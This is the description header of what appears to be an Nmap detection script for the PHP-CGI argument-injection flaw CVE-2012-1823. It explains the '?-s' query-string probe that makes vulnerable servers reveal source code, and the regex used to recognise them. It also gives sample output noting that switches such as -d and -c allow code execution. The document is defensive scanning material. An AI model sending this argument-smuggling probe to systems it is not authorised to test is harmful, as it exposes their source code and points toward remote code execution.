description = [[
Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
critical vulnerability allows attackers to retrieve source code and execute
code remotely.

The script works by appending "?-s" to the uri to make vulnerable php-cgi
handlers return colour syntax highlighted source. We use the pattern "<span
style=.*>&lt;?" to detect
vulnerable installations.

-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:2012-1823
-- |     Description:
-- |       According to PHP's website, "PHP is a widely-used general-purpose
-- |       scripting language that is especially suited for Web development and
-- |       can be embedded into HTML." When PHP is used in a CGI-based setup
-- |       (such as Apache's mod_cgid), the php-cgi receives a processed query
-- |       string parameter as command line arguments which allows command-line
-- |       switches, such as -s, -d or -c to be passed to the php-cgi binary,
-- |       which can be exploited to disclose source code and obtain arbitrary
-- |       code execution.
